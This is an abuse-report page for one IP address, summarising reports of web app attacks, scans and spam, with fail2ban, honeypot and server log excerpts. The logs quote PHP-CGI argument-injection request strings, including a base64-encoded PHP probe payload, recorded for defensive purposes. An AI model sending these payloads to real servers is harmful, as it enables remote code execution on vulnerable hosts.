This IP address has been reported a total of
7
times from
7 distinct
sources.
138.124.25.66 was first reported on
, and the most recent report was
.
In the last 60 days, the top reporter locations were:
Germany
with 2
reports;
France
with 1
report;
Japan
with 1
report.
The most common categories in these recent reports were:
Web App Attack
6
times;
Hacking
5
times;
Bad Web Bot
2
times;
Email Spam
1
time;
Port Scan
1
time;
Other
3
times.
Recent Reports
We have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
2026-10-19 15:43:38,763 fail2ban.actions [1165]: NOTICE [malwarenetworks] Ban 138.124.25.66
...
show more2026-10-19 15:43:38,763 fail2ban.actions [1165]: NOTICE [malwarenetworks] Ban 138.124.25.66
2026-10-19 15:43:39,060 fail2ban.actions [1165]: NOTICE [apache-badbots] Ban 138.124.25.66
2026-10-19 15:43:38,763 fail2ban.actions [1165]: NOTICE [malwarenetworks] Ban 138.124.25.66
...
show less
Bad Web Bot
Web Spam
Email Spam
Blog Spam
Port Scan
Brute-Force
Web App Attack
Anonymous
"POST /?%8Dd+allow_url_include%3d1+%8Dd+auto_prepend_file%3dphp://input+%8Dd+display_errors%3d0 HTTP ...
show more"POST /?%8Dd+allow_url_include%3d1+%8Dd+auto_prepend_file%3dphp://input+%8Dd+display_errors%3d0 HTTP/1.0"
show less
F2B apache-noscript ban. Logs: [Mon Oct 19 16:17:52.407248 2026] [cgid:error] [pid 587229] [client 1 ...
show moreF2B apache-noscript ban. Logs: [Mon Oct 19 16:17:52.407248 2026] [cgid:error] [pid 587229] [client 138.124.25.66:16436] AH01264: script not found or unable to stat: /usr/lib/cgi-bin/php-cgi.exe
[Mon Oct 19 16:17:52.456143 2026] [cgid:error] [pid 587238] [client 138.124.25.66:16492] AH01264: script not found or unable to stat: /usr/lib/cgi-bin/php-cgi.exe
[Mon Oct 19 16:17:52.477471 2026] [cgid:error] [pid 559552] [client 138.124.25.66:16540] AH01264: script not found or unable to stat: /usr/lib/cgi-bin/php-cgi.exe
show less
Web App Attack
Anonymous
[da.kdns.gr] httpd-suspicious-path: logs=/var/log/httpd/access_log; samples=/cgi-bin/php-cgi.exe?%AD ...
show more[da.kdns.gr] httpd-suspicious-path: logs=/var/log/httpd/access_log; samples=/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input+%ADd+display_errors%3d0 | /cgi-bin/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input+%ADd+display_errors%3d0 | /cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3ddata://text/plain;base64,PD9waHAgZWNobyAiUEhQQ0dJNDU3N1BST0JFX1MiOyBlY2hvIFBIUF9PUzsgZWNobyAiUEhQQ0dJNDU3N1BST0JFX0UiOyBleGl0OyA/Pg==+%ADd+display_errors%3d0
show less
Automated Apache detection on Windows host. 5 suspicious HTTP requests within 300 seconds. Examples: ...
show moreAutomated Apache detection on Windows host. 5 suspicious HTTP requests within 300 seconds. Examples: POST /cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input+%ADd+display_errors%3d0 -> 404 UA=""; POST /cgi-bin/php-cgi.exe?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input+-d+display_errors%3d0 -> 404 UA=""; POST /cgi-bin/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input+%ADd+display_errors%3d0 -> 404 UA=""; POST /cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3ddata://text/plain;base64,PD9waHAgZWNobyAiUEhQQ0dJNDU3N1BST0JFX1MiOyBlY2hvIFBIUF9PUzsgZWNobyAiUEhQQ0dJNDU3N1BST0JFX0UiOyBleGl0OyA/Pg==+%ADd+display_errors%3d0 -> 404 UA=""; POST /cgi-bin/php-cgi.exe?%96d+allow_url_include%3d1+%96d+auto_prepend_file%3dphp://input+%96d+display_errors%3d0 -> 404 UA=""
show less
Honeypot Finding: repeated HTTP/web-application probing captured by Tanner on TCP/80; 13 request eve ...
show moreHoneypot Finding: repeated HTTP/web-application probing captured by Tanner on TCP/80; 13 request event(s), 13 distinct path(s), 8 request(s) to suspicious path(s). Examples: /cgi-bin/php-cgi.exe?%96d+allow_url_include%3d1+%96d+auto_prepend_file%3dphp://input+%96d+, /cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input+%ADd+, /cgi-bin/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env%3d0+%ADd+all, /cgi-bin/php-cgi.exe?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input+-d+displa, /cgi-bin/php-cgi?%96d+allow_url_include%3d1+%96d+auto_prepend_file%3dphp://input+%96d+disp.
show less
